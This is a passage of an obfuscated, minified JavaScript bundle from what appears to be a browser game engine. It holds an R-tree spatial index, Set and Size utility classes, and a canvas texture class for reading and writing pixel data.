_0x3c76d0['pop'](); return _0x51e7a1; }, '_build': function (_0xb7d77f, _0x4c2d01, _0x19389f, _0x4494e8) { var _0x50341f, _0x35c789 = _0x19389f - _0x4c2d01 + 0x1, _0x433fa3 = this['_maxEntries']; if (_0x35c789 <= _0x433fa3) return _0x39e34b(_0x50341f = _0x42ec4d(_0xb7d77f['slice'](_0x4c2d01, _0x19389f + 0x1)), this['toBBox']), _0x50341f; _0x4494e8 || (_0x4494e8 = Math['ceil'](Math['log'](_0x35c789) / Math['log'](_0x433fa3)), _0x433fa3 = Math['ceil'](_0x35c789 / Math['pow'](_0x433fa3, _0x4494e8 - 0x1))), (_0x50341f = _0x42ec4d([]))['leaf'] = !0x1, _0x50341f['height'] = _0x4494e8; var _0x16e646, _0x295fd2, _0xd5eb1a, _0x4ada8c, _0x2935bb = Math['ceil'](_0x35c789 / _0x433fa3), _0x1571f9 = _0x2935bb * Math['ceil'](Math['sqrt'](_0x433fa3)); for (_0x1a666a(_0xb7d77f, _0x4c2d01, _0x19389f, _0x1571f9, this['compareMinX']), _0x16e646 = _0x4c2d01; _0x16e646 <= _0x19389f; _0x16e646 += _0x1571f9)for (_0x1a666a(_0xb7d77f, _0x16e646, _0xd5eb1a = Math['min'](_0x16e646 + _0x1571f9 - 0x1, _0x19389f), _0x2935bb, this['compareMinY']), _0x295fd2 = _0x16e646; _0x295fd2 <= _0xd5eb1a; _0x295fd2 += _0x2935bb)_0x4ada8c = Math['min'](_0x295fd2 + _0x2935bb - 0x1, _0xd5eb1a), _0x50341f['children']['push'](this['_build'](_0xb7d77f, _0x295fd2, _0x4ada8c, _0x4494e8 - 0x1)); return _0x39e34b(_0x50341f, this['toBBox']), _0x50341f; }, '_chooseSubtree': function (_0x3d7db0, _0x5e72d1, _0x4384ae, _0x455108) { for (var _0x5899ad, _0x4c7b77, _0x4dd2a1, _0x5b2851, _0x91e596, _0x40059b, _0x59e0af, _0x59eb53, _0x45c268, _0x4a4436; _0x455108['push'](_0x5e72d1), !_0x5e72d1['leaf'] && _0x455108['length'] - 0x1 !== _0x4384ae;) { for (_0x59e0af = _0x59eb53 = 0x1 / 0x0, _0x5899ad = 0x0, _0x4c7b77 = _0x5e72d1['children']['length']; _0x5899ad < _0x4c7b77; _0x5899ad++)_0x91e596 = _0x273ab6(_0x4dd2a1 = _0x5e72d1['children'][_0x5899ad]), _0x45c268 = _0x3d7db0, _0x4a4436 = _0x4dd2a1, (_0x40059b = (Math['max'](_0x4a4436['maxX'], _0x45c268['maxX']) - Math['min'](_0x4a4436['minX'], _0x45c268['minX'])) * (Math['max'](_0x4a4436['maxY'], _0x45c268['maxY']) - Math['min'](_0x4a4436['minY'], _0x45c268['minY'])) - _0x91e596) < _0x59eb53 ? (_0x59eb53 = _0x40059b, _0x59e0af = _0x91e596 < _0x59e0af ? _0x91e596 : _0x59e0af, _0x5b2851 = _0x4dd2a1) : _0x40059b === _0x59eb53 && _0x91e596 < _0x59e0af && (_0x59e0af = _0x91e596, _0x5b2851 = _0x4dd2a1); _0x5e72d1 = _0x5b2851 || _0x5e72d1['children'][0x0]; } return _0x5e72d1; }, '_insert': function (_0x95736c, _0x361036, _0x320822) { var _0x58bfb1 = this['toBBox'], _0x3990cd = _0x320822 ? _0x95736c : _0x58bfb1(_0x95736c), _0x3be9c7 = [], _0x3adb41 = this['_chooseSubtree'](_0x3990cd, this['data'], _0x361036, _0x3be9c7); for (_0x3adb41['children']['push'](_0x95736c), _0x3f634c(_0x3adb41, _0x3990cd); _0x361036 >= 0x0 && _0x3be9c7[_0x361036]['children']['length'] > this['_maxEntries'];)this['_split'](_0x3be9c7, _0x361036), _0x361036--; this['_adjustParentBBoxes'](_0x3990cd, _0x3be9c7, _0x361036); }, '_split': function (_0x5e22ea, _0x2d8925) { var _0x3352ad = _0x5e22ea[_0x2d8925], _0x81aed = _0x3352ad['children']['length'], _0x4ebbc9 = this['_minEntries']; this['_chooseSplitAxis'](_0x3352ad, _0x4ebbc9, _0x81aed); var _0x5604c0 = this['_chooseSplitIndex'](_0x3352ad, _0x4ebbc9, _0x81aed), _0x4490ec = _0x42ec4d(_0x3352ad['children']['splice'](_0x5604c0, _0x3352ad['children']['length'] - _0x5604c0)); _0x4490ec['height'] = _0x3352ad['height'], _0x4490ec['leaf'] = _0x3352ad['leaf'], _0x39e34b(_0x3352ad, this['toBBox']), _0x39e34b(_0x4490ec, this['toBBox']), _0x2d8925 ? _0x5e22ea[_0x2d8925 - 0x1]['children']['push'](_0x4490ec) : this['_splitRoot'](_0x3352ad, _0x4490ec); }, '_splitRoot': function (_0x5dfa12, _0x2ef81c) { this['data'] = _0x42ec4d([_0x5dfa12, _0x2ef81c]), this['data']['height'] = _0x5dfa12['height'] + 0x1, this['data']['leaf'] = !0x1, _0x39e34b(this['data'], this['toBBox']); }, '_chooseSplitIndex': function (_0x96fb14, _0x165e64, _0xa13cb1) { var _0x199f20, _0x159e84, _0x5525f6, _0x5acaa8, _0x1adbf9, _0x2616fd, _0x308507, _0x5eeb8b, _0x54f9ce, _0x4b0f61, _0x5ed7df, _0x1a5e67, _0x537f7c, _0x549a13; for (_0x2616fd = _0x308507 = 0x1 / 0x0, _0x199f20 = _0x165e64; _0x199f20 <= _0xa13cb1 - _0x165e64; _0x199f20++)_0x159e84 = _0x222663(_0x96fb14, 0x0, _0x199f20, this['toBBox']), _0x5525f6 = _0x222663(_0x96fb14, _0x199f20, _0xa13cb1, this['toBBox']), _0x54f9ce = _0x159e84, _0x4b0f61 = _0x5525f6, _0x5ed7df = void 0x0, _0x1a5e67 = void 0x0, _0x537f7c = void 0x0, _0x549a13 = void 0x0, _0x5ed7df = Math['max'](_0x54f9ce['minX'], _0x4b0f61['minX']), _0x1a5e67 = Math['max'](_0x54f9ce['minY'], _0x4b0f61['minY']), _0x537f7c = Math['min'](_0x54f9ce['maxX'], _0x4b0f61['maxX']), _0x549a13 = Math['min'](_0x54f9ce['maxY'], _0x4b0f61['maxY']), _0x5acaa8 = Math['max'](0x0, _0x537f7c - _0x5ed7df) * Math['max'](0x0, _0x549a13 - _0x1a5e67), _0x1adbf9 = _0x273ab6(_0x159e84) + _0x273ab6(_0x5525f6), _0x5acaa8 < _0x2616fd ? (_0x2616fd = _0x5acaa8, _0x5eeb8b = _0x199f20, _0x308507 = _0x1adbf9 < _0x308507 ? _0x1adbf9 : _0x308507) : _0x5acaa8 === _0x2616fd && _0x1adbf9 < _0x308507 && (_0x308507 = _0x1adbf9, _0x5eeb8b = _0x199f20); return _0x5eeb8b; }, '_chooseSplitAxis': function (_0x33e1c8, _0x336104, _0x4b89e4) { var _0x312c9b = _0x33e1c8['leaf'] ? this['compareMinX'] : _0x2c844b, _0x4cc15b = _0x33e1c8['leaf'] ? this['compareMinY'] : _0x3d85a2; this['_allDistMargin'](_0x33e1c8, _0x336104, _0x4b89e4, _0x312c9b) < this['_allDistMargin'](_0x33e1c8, _0x336104, _0x4b89e4, _0x4cc15b) && _0x33e1c8['children']['sort'](_0x312c9b); }, '_allDistMargin': function (_0xe42999, _0x1abbd2, _0x3e162a, _0x22dcf6) { _0xe42999['children']['sort'](_0x22dcf6); var _0x5e7368, _0x4f77da, _0x6f2079 = this['toBBox'], _0x28e0a0 = _0x222663(_0xe42999, 0x0, _0x1abbd2, _0x6f2079), _0x1abb85 = _0x222663(_0xe42999, _0x3e162a - _0x1abbd2, _0x3e162a, _0x6f2079), _0x1efb3a = _0x49eb6d(_0x28e0a0) + _0x49eb6d(_0x1abb85); for (_0x5e7368 = _0x1abbd2; _0x5e7368 < _0x3e162a - _0x1abbd2; _0x5e7368++)_0x4f77da = _0xe42999['children'][_0x5e7368], _0x3f634c(_0x28e0a0, _0xe42999['leaf'] ? _0x6f2079(_0x4f77da) : _0x4f77da), _0x1efb3a += _0x49eb6d(_0x28e0a0); for (_0x5e7368 = _0x3e162a - _0x1abbd2 - 0x1; _0x5e7368 >= _0x1abbd2; _0x5e7368--)_0x4f77da = _0xe42999['children'][_0x5e7368], _0x3f634c(_0x1abb85, _0xe42999['leaf'] ? _0x6f2079(_0x4f77da) : _0x4f77da), _0x1efb3a += _0x49eb6d(_0x1abb85); return _0x1efb3a; }, '_adjustParentBBoxes': function (_0x407dd3, _0x356fe1, _0x1679e0) { for (var _0x5eec59 = _0x1679e0; _0x5eec59 >= 0x0; _0x5eec59--)_0x3f634c(_0x356fe1[_0x5eec59], _0x407dd3); }, '_condense': function (_0x1798ed) { for (var _0xe8810b, _0x41df2d = _0x1798ed['length'] - 0x1; _0x41df2d >= 0x0; _0x41df2d--)0x0 === _0x1798ed[_0x41df2d]['children']['length'] ? _0x41df2d > 0x0 ? (_0xe8810b = _0x1798ed[_0x41df2d - 0x1]['children'])['splice'](_0xe8810b['indexOf'](_0x1798ed[_0x41df2d]), 0x1) : this['clear']() : _0x39e34b(_0x1798ed[_0x41df2d], this['toBBox']); }, 'compareMinX': function (_0x4ed907, _0x31c189) { return _0x4ed907['left'] - _0x31c189['left']; }, 'compareMinY': function (_0x22bc76, _0x20b782) { return _0x22bc76['top'] - _0x20b782['top']; }, 'toBBox': function (_0x2926e5) { return { 'minX': _0x2926e5['left'], 'minY': _0x2926e5['top'], 'maxX': _0x2926e5['right'], 'maxY': _0x2926e5['bottom'] }; } }, _0x24b9a0['exports'] = _0x1ca4c8; }, 0x8900: (_0x12bf10, _0x44b39d, _0x537d04) => { var _0x1446b2 = new (_0x537d04(0x145db))({ 'initialize': function (_0x5590a4) { if (this['entries'] = [], Array['isArray'](_0x5590a4)) { for (var _0x140b94 = 0x0; _0x140b94 < _0x5590a4['length']; _0x140b94++)this['set'](_0x5590a4[_0x140b94]); } }, 'set': function (_0x4f185a) { return -0x1 === this['entries']['indexOf'](_0x4f185a) && this['entries']['push'](_0x4f185a), this; }, 'get': function (_0x4d4128, _0x578f08) { for (var _0x42acb6 = 0x0; _0x42acb6 < this['entries']['length']; _0x42acb6++) { var _0x2b81a8 = this['entries'][_0x42acb6]; if (_0x2b81a8[_0x4d4128] === _0x578f08) return _0x2b81a8; } }, 'getArray': function () { return this['entries']['slice'](0x0); }, 'delete': function (_0x262dbd) { var _0x27a35a = this['entries']['indexOf'](_0x262dbd); return _0x27a35a > -0x1 && this['entries']['splice'](_0x27a35a, 0x1), this; }, 'dump': function () { for (var _0x554c76 = 0x0; _0x554c76 < this['entries']['length']; _0x554c76++)this['entries'][_0x554c76]; }, 'each': function (_0x29d33f, _0x185461) { var _0xa7abf8, _0x27cd8b = this['entries']['slice'](), _0x33e7d1 = _0x27cd8b['length']; if (_0x185461) { for (_0xa7abf8 = 0x0; _0xa7abf8 < _0x33e7d1 && !0x1 !== _0x29d33f['call'](_0x185461, _0x27cd8b[_0xa7abf8], _0xa7abf8); _0xa7abf8++); } else { for (_0xa7abf8 = 0x0; _0xa7abf8 < _0x33e7d1 && !0x1 !== _0x29d33f(_0x27cd8b[_0xa7abf8], _0xa7abf8); _0xa7abf8++); } return this; }, 'iterate': function (_0x20f54f, _0x2e94ca) { var _0x161ede, _0x485322 = this['entries']['length']; if (_0x2e94ca) { for (_0x161ede = 0x0; _0x161ede < _0x485322 && !0x1 !== _0x20f54f['call'](_0x2e94ca, this['entries'][_0x161ede], _0x161ede); _0x161ede++); } else { for (_0x161ede = 0x0; _0x161ede < _0x485322 && !0x1 !== _0x20f54f(this['entries'][_0x161ede], _0x161ede); _0x161ede++); } return this; }, 'iterateLocal': function (_0x2a7fed) { var _0x511870, _0x2851a6 = []; for (_0x511870 = 0x1; _0x511870 < arguments['length']; _0x511870++)_0x2851a6['push'](arguments[_0x511870]); var _0x225eed = this['entries']['length']; for (_0x511870 = 0x0; _0x511870 < _0x225eed; _0x511870++) { var _0x25f1df = this['entries'][_0x511870]; _0x25f1df[_0x2a7fed]['apply'](_0x25f1df, _0x2851a6); } return this; }, 'clear': function () { return this['entries']['length'] = 0x0, this; }, 'contains': function (_0x2ab9a5) { return this['entries']['indexOf'](_0x2ab9a5) > -0x1; }, 'union': function (_0x52ae40) { var _0x3032eb = new _0x1446b2(); return _0x52ae40['entries']['forEach'](function (_0x4f6632) { _0x3032eb['set'](_0x4f6632); }), this['entries']['forEach'](function (_0x3a0cad) { _0x3032eb['set'](_0x3a0cad); }), _0x3032eb; }, 'intersect': function (_0x43ede1) { var _0x21fb74 = new _0x1446b2(); return this['entries']['forEach'](function (_0x2d0963) { _0x43ede1['contains'](_0x2d0963) && _0x21fb74['set'](_0x2d0963); }), _0x21fb74; }, 'difference': function (_0x56acec) { var _0x320255 = new _0x1446b2(); return this['entries']['forEach'](function (_0x3e6702) { _0x56acec['contains'](_0x3e6702) || _0x320255['set'](_0x3e6702); }), _0x320255; }, 'size': { 'get': function () { return this['entries']['length']; }, 'set': function (_0x1f4f6a) { return _0x1f4f6a < this['entries']['length'] ? this['entries']['length'] = _0x1f4f6a : this['entries']['length']; } } }); _0x12bf10['exports'] = _0x1446b2; }, 0x1521b: (_0xe54ef, _0x548ff4, _0x5e03d4) => { var _0x1dfb56 = _0x5e03d4(0xb107), _0x3c728b = _0x5e03d4(0x145db), _0x2ae554 = _0x5e03d4(0xdd07), _0x243b84 = _0x5e03d4(0x65f3), _0x4acc10 = new _0x3c728b({ 'initialize': function (_0x480b45, _0x118090, _0x570dc0, _0x855e59) { void 0x0 === _0x480b45 && (_0x480b45 = 0x0), void 0x0 === _0x118090 && (_0x118090 = _0x480b45), void 0x0 === _0x570dc0 && (_0x570dc0 = 0x0), void 0x0 === _0x855e59 && (_0x855e59 = null), this['_width'] = _0x480b45, this['_height'] = _0x118090, this['_parent'] = _0x855e59, this['aspectMode'] = _0x570dc0, this['aspectRatio'] = 0x0 === _0x118090 ? 0x1 : _0x480b45 / _0x118090, this['minWidth'] = 0x0, this['minHeight'] = 0x0, this['maxWidth'] = Number['MAX_VALUE'], this['maxHeight'] = Number['MAX_VALUE'], this['snapTo'] = new _0x243b84(); }, 'setAspectMode': function (_0x31ae10) { return void 0x0 === _0x31ae10 && (_0x31ae10 = 0x0), this['aspectMode'] = _0x31ae10, this['setSize'](this['_width'], this['_height']); }, 'setSnap': function (_0x29070b, _0x427a13) { return void 0x0 === _0x29070b && (_0x29070b = 0x0), void 0x0 === _0x427a13 && (_0x427a13 = _0x29070b), this['snapTo']['set'](_0x29070b, _0x427a13), this['setSize'](this['_width'], this['_height']); }, 'setParent': function (_0x5a0e0d) { return this['_parent'] = _0x5a0e0d, this['setSize'](this['_width'], this['_height']); }, 'setMin': function (_0x4e0c97, _0x42fa90) { return void 0x0 === _0x4e0c97 && (_0x4e0c97 = 0x0), void 0x0 === _0x42fa90 && (_0x42fa90 = _0x4e0c97), this['minWidth'] = _0x1dfb56(_0x4e0c97, 0x0, this['maxWidth']), this['minHeight'] = _0x1dfb56(_0x42fa90, 0x0, this['maxHeight']), this['setSize'](this['_width'], this['_height']); }, 'setMax': function (_0x3aaeac, _0x571ea1) { return void 0x0 === _0x3aaeac && (_0x3aaeac = Number['MAX_VALUE']), void 0x0 === _0x571ea1 && (_0x571ea1 = _0x3aaeac), this['maxWidth'] = _0x1dfb56(_0x3aaeac, this['minWidth'], Number['MAX_VALUE']), this['maxHeight'] = _0x1dfb56(_0x571ea1, this['minHeight'], Number['MAX_VALUE']), this['setSize'](this['_width'], this['_height']); }, 'setSize': function (_0xcf7571, _0x1a958b) { switch (void 0x0 === _0xcf7571 && (_0xcf7571 = 0x0), void 0x0 === _0x1a958b && (_0x1a958b = _0xcf7571), this['aspectMode']) { case _0x4acc10['NONE']: this['_width'] = this['getNewWidth'](_0x2ae554(_0xcf7571, this['snapTo']['x'])), this['_height'] = this['getNewHeight'](_0x2ae554(_0x1a958b, this['snapTo']['y'])), this['aspectRatio'] = 0x0 === this['_height'] ? 0x1 : this['_width'] / this['_height']; break; case _0x4acc10['WIDTH_CONTROLS_HEIGHT']: this['_width'] = this['getNewWidth'](_0x2ae554(_0xcf7571, this['snapTo']['x'])), this['_height'] = this['getNewHeight'](this['_width'] * (0x1 / this['aspectRatio']), !0x1); break; case _0x4acc10['HEIGHT_CONTROLS_WIDTH']: this['_height'] = this['getNewHeight'](_0x2ae554(_0x1a958b, this['snapTo']['y'])), this['_width'] = this['getNewWidth'](this['_height'] * this['aspectRatio'], !0x1); break; case _0x4acc10['FIT']: this['constrain'](_0xcf7571, _0x1a958b, !0x0); break; case _0x4acc10['ENVELOP']: this['constrain'](_0xcf7571, _0x1a958b, !0x1); }return this; }, 'setAspectRatio': function (_0x5a4f8b) { return this['aspectRatio'] = _0x5a4f8b, this['setSize'](this['_width'], this['_height']); }, 'resize': function (_0xa7e098, _0x1da78a) { return this['_width'] = this['getNewWidth'](_0x2ae554(_0xa7e098, this['snapTo']['x'])), this['_height'] = this['getNewHeight'](_0x2ae554(_0x1da78a, this['snapTo']['y'])), this['aspectRatio'] = 0x0 === this['_height'] ? 0x1 : this['_width'] / this['_height'], this; }, 'getNewWidth': function (_0x561464, _0x493a2e) { return void 0x0 === _0x493a2e && (_0x493a2e = !0x0), _0x561464 = _0x1dfb56(_0x561464, this['minWidth'], this['maxWidth']), _0x493a2e && this['_parent'] && _0x561464 > this['_parent']['width'] && (_0x561464 = Math['max'](this['minWidth'], this['_parent']['width'])), _0x561464; }, 'getNewHeight': function (_0x4ffc45, _0xe01d82) { return void 0x0 === _0xe01d82 && (_0xe01d82 = !0x0), _0x4ffc45 = _0x1dfb56(_0x4ffc45, this['minHeight'], this['maxHeight']), _0xe01d82 && this['_parent'] && _0x4ffc45 > this['_parent']['height'] && (_0x4ffc45 = Math['max'](this['minHeight'], this['_parent']['height'])), _0x4ffc45; }, 'constrain': function (_0x208e10, _0x302c78, _0x27c860) { void 0x0 === _0x208e10 && (_0x208e10 = 0x0), void 0x0 === _0x302c78 && (_0x302c78 = _0x208e10), void 0x0 === _0x27c860 && (_0x27c860 = !0x0), _0x208e10 = this['getNewWidth'](_0x208e10), _0x302c78 = this['getNewHeight'](_0x302c78); var _0xf6f320 = this['snapTo'], _0x2ee87c = 0x0 === _0x302c78 ? 0x1 : _0x208e10 / _0x302c78; return _0x27c860 && this['aspectRatio'] > _0x2ee87c || !_0x27c860 && this['aspectRatio'] < _0x2ee87c ? (_0x302c78 = (_0x208e10 = _0x2ae554(_0x208e10, _0xf6f320['x'])) / this['aspectRatio'], _0xf6f320['y'] > 0x0 && (_0x208e10 = (_0x302c78 = _0x2ae554(_0x302c78, _0xf6f320['y'])) * this['aspectRatio'])) : (_0x27c860 && this['aspectRatio'] < _0x2ee87c || !_0x27c860 && this['aspectRatio'] > _0x2ee87c) && (_0x208e10 = (_0x302c78 = _0x2ae554(_0x302c78, _0xf6f320['y'])) * this['aspectRatio'], _0xf6f320['x'] > 0x0 && (_0x302c78 = (_0x208e10 = _0x2ae554(_0x208e10, _0xf6f320['x'])) * (0x1 / this['aspectRatio']))), this['_width'] = _0x208e10, this['_height'] = _0x302c78, this; }, 'fitTo': function (_0x4f25e7, _0x1d3df2) { return this['constrain'](_0x4f25e7, _0x1d3df2, !0x0); }, 'envelop': function (_0x90f194, _0x34a063) { return this['constrain'](_0x90f194, _0x34a063, !0x1); }, 'setWidth': function (_0x112fc2) { return this['setSize'](_0x112fc2, this['_height']); }, 'setHeight': function (_0x539bd7) { return this['setSize'](this['_width'], _0x539bd7); }, 'toString': function () { return '[{\x20Size\x20(width=' + this['_width'] + '\x20height=' + this['_height'] + '\x20aspectRatio=' + this['aspectRatio'] + '\x20aspectMode=' + this['aspectMode'] + ')\x20}]'; }, 'setCSS': function (_0xdd213d) { _0xdd213d && _0xdd213d['style'] && (_0xdd213d['style']['width'] = this['_width'] + 'px', _0xdd213d['style']['height'] = this['_height'] + 'px'); }, 'copy': function (_0x429f65) { return _0x429f65['setAspectMode'](this['aspectMode']), _0x429f65['aspectRatio'] = this['aspectRatio'], _0x429f65['setSize'](this['width'], this['height']); }, 'destroy': function () { this['_parent'] = null, this['snapTo'] = null; }, 'width': { 'get': function () { return this['_width']; }, 'set': function (_0x29f779) { this['setSize'](_0x29f779, this['_height']); } }, 'height': { 'get': function () { return this['_height']; }, 'set': function (_0x48ead6) { this['setSize'](this['_width'], _0x48ead6); } } }); _0x4acc10['NONE'] = 0x0, _0x4acc10['WIDTH_CONTROLS_HEIGHT'] = 0x1, _0x4acc10['HEIGHT_CONTROLS_WIDTH'] = 0x2, _0x4acc10['FIT'] = 0x3, _0x4acc10['ENVELOP'] = 0x4, _0xe54ef['exports'] = _0x4acc10; }, 0x3b86: _0x4ebc70 => { _0x4ebc70['exports'] = 'add'; }, 0xdb7b: _0x2ea19e => { _0x2ea19e['exports'] = 'remove'; }, 0x141ac: (_0x28c0c3, _0x4fce00, _0x3c5be2) => { _0x28c0c3['exports'] = { 'PROCESS_QUEUE_ADD': _0x3c5be2(0x3b86), 'PROCESS_QUEUE_REMOVE': _0x3c5be2(0xdb7b) }; }, 0xa1b0: (_0x13daa1, _0x320069, _0x18e367) => { _0x13daa1['exports'] = { 'Events': _0x18e367(0x141ac), 'List': _0x18e367(0x11dca), 'Map': _0x18e367(0x160da), 'ProcessQueue': _0x18e367(0x64ae), 'RTree': _0x18e367(0xe896), 'Set': _0x18e367(0x8900), 'Size': _0x18e367(0x1521b) }; }, 0xe026: (_0x48a143, _0x593ea6, _0x5d2007) => { var _0x5d43bd = _0x5d2007(0x145db), _0x265c06 = _0x5d2007(0xb107), _0x159874 = _0x5d2007(0xa01b), _0x37c6b1 = _0x5d2007(0x1f76), _0x37051b = _0x5d2007(0xc36e), _0x40229e = _0x5d2007(0x13585), _0x213be6 = new _0x5d43bd({ 'Extends': _0x40229e, 'initialize': function (_0x2a069a, _0xcd09e8, _0x5b23ae, _0x110292, _0x3ec152) { _0x40229e['call'](this, _0x2a069a, _0xcd09e8, _0x5b23ae, _0x110292, _0x3ec152), this['add']('__BASE', 0x0, 0x0, 0x0, _0x110292, _0x3ec152), this['_source'] = this['frames']['__BASE']['source'], this['canvas'] = this['_source']['image'], this['context'] = this['canvas']['getContext']('2d', { 'willReadFrequently': !0x0 }), this['width'] = _0x110292, this['height'] = _0x3ec152, this['imageData'] = this['context']['getImageData'](0x0, 0x0, _0x110292, _0x3ec152), this['data'] = null, this['imageData'] && (this['data'] = this['imageData']['data']), this['pixels'] = null, this['buffer'], this['data'] && (this['imageData']['data']['buffer'] ? (this['buffer'] = this['imageData']['data']['buffer'], this['pixels'] = new Uint32Array(this['buffer'])) : window['ArrayBuffer'] ? (this['buffer'] = new ArrayBuffer(this['imageData']['data']['length']), this['pixels'] = new Uint32Array(this['buffer'])) : this['pixels'] = this['imageData']['data']); }, 'update': function () { return this['imageData'] = this['context']['getImageData'](0x0, 0x0, this['width'], this['height']), this['data'] = this['imageData']['data'], this['imageData']['data']['buffer'] ? (this['buffer'] = this['imageData']['data']['buffer'], this['pixels'] = new Uint32Array(this['buffer'])) : window['ArrayBuffer'] ? (this['buffer'] = new ArrayBuffer(this['imageData']['data']['length']), this['pixels'] = new Uint32Array(this['buffer'])) : this['pixels'] = this['imageData']['data'], this['manager']['game']['config']['renderType'] === _0x37c6b1['WEBGL'] && this['refresh'](), this; }, 'draw': function (_0x20ea7a, _0x3a8d6c, _0x191c4a, _0x2ef942) { return void 0x0 === _0x2ef942 && (_0x2ef942 = !0x0), this['context']['drawImage'](_0x191c4a, _0x20ea7a, _0x3a8d6c), _0x2ef942 && this['update'](), this; }, 'drawFrame': function (_0x11e38b, _0x1eabff, _0x3acdb2, _0x339dbb, _0x5df725) { void 0x0 === _0x3acdb2 && (_0x3acdb2 = 0x0), void 0x0 === _0x339dbb && (_0x339dbb = 0x0), void 0x0 === _0x5df725 && (_0x5df725 = !0x0); var _0x52a3cb = this['manager']['getFrame'](_0x11e38b, _0x1eabff); if (_0x52a3cb) { var _0x2f0cd6 = _0x52a3cb['canvasData'], _0x5047a5 = _0x52a3cb['cutWidth'], _0x460f94 = _0x52a3cb['cutHeight'], _0x217b92 = _0x52a3cb['source']['resolution']; this['context']['drawImage'](_0x52a3cb['source']['image'], _0x2f0cd6['x'], _0x2f0cd6['y'], _0x5047a5, _0x460f94, _0x3acdb2, _0x339dbb, _0x5047a5 / _0x217b92, _0x460f94 / _0x217b92), _0x5df725 && this['update'](); } return this; }, 'setPixel': function (_0x15aef0, _0x1d2f1a, _0x51a876, _0x4f74a, _0xaeef85, _0x2a1002) { if (void 0x0 === _0x2a1002 && (_0x2a1002 = 0xff), _0x15aef0 = Math['abs'](Math['floor'](_0x15aef0)), _0x1d2f1a = Math['abs'](Math['floor'](_0x1d2f1a)), this['getIndex'](_0x15aef0, _0x1d2f1a) > -0x1) { var _0xeccba1 = this['context']['getImageData'](_0x15aef0, _0x1d2f1a, 0x1, 0x1); _0xeccba1['data'][0x0] = _0x51a876, _0xeccba1['data'][0x1] = _0x4f74a, _0xeccba1['data'][0x2] = _0xaeef85, _0xeccba1['data'][0x3] = _0x2a1002, this['context']['putImageData'](_0xeccba1, _0x15aef0, _0x1d2f1a); } return this; }, 'putData': function (_0x1002a5, _0x3c522a, _0x3236a5, _0x493ff6, _0x2c938b, _0x3f881c, _0x13a7b3) { return void 0x0 === _0x493ff6 && (_0x493ff6 = 0x0), void 0x0 === _0x2c938b && (_0x2c938b = 0x0), void 0x0 === _0x3f881c && (_0x3f881c = _0x1002a5['width']), void 0x0 === _0x13a7b3 && (_0x13a7b3 = _0x1002a5['height']), this['context']['putImageData'](_0x1002a5, _0x3c522a, _0x3236a5, _0x493ff6, _0x2c938b, _0x3f881c, _0x13a7b3), this; }, 'getData': function (_0x14c31c, _0x1a6b96, _0xc39f7f, _0x426196) { return _0x14c31c = _0x265c06(Math['floor'](_0x14c31c), 0x0, this['width'] - 0x1), _0x1a6b96 = _0x265c06(Math['floor'](_0x1a6b96), 0x0, this['height'] - 0x1), _0xc39f7f = _0x265c06(_0xc39f7f, 0x1, this['width'] - _0x14c31c), _0x426196 = _0x265c06(_0x426196, 0x1, this['height'] - _0x1a6b96), this['context']['getImageData'](_0x14c31c, _0x1a6b96, _0xc39f7f, _0x426196); }, 'getPixel': function (_0x22efd4, _0x17a9c8, _0x633734) { _0x633734 || (_0x633734 = new _0x159874()); var _0xa7c143 = this['getIndex'](_0x22efd4, _0x17a9c8); if (_0xa7c143 > -0x1) { var _0x27f722 = this['data'], _0x1817c6 = _0x27f722[_0xa7c143 + 0x0], _0x350694 = _0x27f722[_0xa7c143 + 0x1], _0xdb14aa = _0x27f722[_0xa7c143 + 0x2], _0xa33bc5 = _0x27f722[_0xa7c143 + 0x3]; _0x633734['setTo'](_0x1817c6, _0x350694, _0xdb14aa, _0xa33bc5); } return _0x633734; }, 'getPixels': function (_0x167a21, _0x122ca5, _0x24e83a, _0x39586e) { void 0x0 === _0x167a21 && (_0x167a21 = 0x0), void 0x0 === _0x122ca5 && (_0x122ca5 = 0x0), void 0x0 === _0x24e83a && (_0x24e83a = this['width']), void 0x0 === _0x39586e && (_0x39586e = _0x24e83a), _0x167a21 = Math['abs'](Math['round'](_0x167a21)), _0x122ca5 = Math['abs'](Math['round'](_0x122ca5)); for (var _0x22db9c = _0x265c06(_0x167a21, 0x0, this['width']), _0xabb243 = _0x265c06(_0x167a21 + _0x24e83a, 0x0, this['width']), _0x4437da = _0x265c06(_0x122ca5, 0x0, this['height']), _0x6456b9 = _0x265c06(_0x122ca5 + _0x39586e, 0x0, this['height']), _0x414477 = new _0x159874(), _0x35147c = [], _0x55d2ce = _0x4437da; _0x55d2ce < _0x6456b9; _0x55d2ce++) { for (var _0x4f1e7f = [], _0x8950f4 = _0x22db9c; _0x8950f4 < _0xabb243; _0x8950f4++)_0x414477 = this['getPixel'](_0x8950f4, _0x55d2ce, _0x414477), _0x4f1e7f['push']({ 'x': _0x8950f4, 'y': _0x55d2ce, 'color': _0x414477['color'], 'alpha': _0x414477['alphaGL'] }); _0x35147c['push'](_0x4f1e7f); } return _0x35147c; }, 'getIndex': function (_0x454bff, _0x1f09bc) { return _0x454bff = Math['abs'](Math['round'](_0x454bff)), _0x1f09bc = Math['abs'](Math['round'](_0x1f09bc)), _0x454bff < this['width'] && _0x1f09bc < this['height'] ? 0x4 * (_0x454bff + _0x1f09bc * this['width']) : -0x1; }, 'refresh': function () { return this['_source']['update'](), this; }, 'getCanvas': function () { return this['canvas']; }, 'getContext': function () { return this['context']; }, 'clear': function (_0x16cb16, _0x1da628, _0x5e6572, _0x36716b, _0x1a1f17) { return void 0x0 === _0x16cb16 && (_0x16cb16 = 0x0), void 0x0 === _0x1da628 && (_0x1da628 = 0x0), void 0x0 === _0x5e6572 && (_0x5e6572 = this['width']), void 0x0 === _0x36716b && (_0x36716b = this['height']), void 0x0 === _0x1a1f17 && (_0x1a1f17 = !0x0), this['context']['clearRect'](_0x16cb16, _0x1da628, _0x5e6572, _0x36716b), _0x1a1f17 && this['update'](), this; }, 'setSize': function (_0x22357b, _0x774cbb) { return void 0x0 === _0x774cbb && (_0x774cbb = _0x22357b), _0x22357b === this['width'] && _0x774cbb === this['height'] || (this['canvas']['width'] = _0x22357b, this['canvas']['height'] = _0x774cbb, this['_source']['width'] = _0x22357b, this['_source']['height'] = _0x774cbb, this['_source']['isPowerOf2'] = _0x37051b(_0x22357b, _0x774cbb), this['frames']['__BASE']['setSize'](_0x22357b, _0x774cbb, 0x0, 0x0), this['width'] = _0x22357b, this['height'] = _0x774cbb, this['refresh']()), this; }, 'destroy': function () { _0x40229e['prototype']['destroy']['call'](this), this['_source'] = null, this['canvas'] = null, this['context'] = null, this['imageData'] = null, this['data'] = null, this['pixels'] = null, this['buffer'] = null; } }); _0x48a143['exports'] = _0x213be6; }, 0x13da8: (_0x359188, _0x43bf51, _0x340607) => { var _0x3fc0e9 = 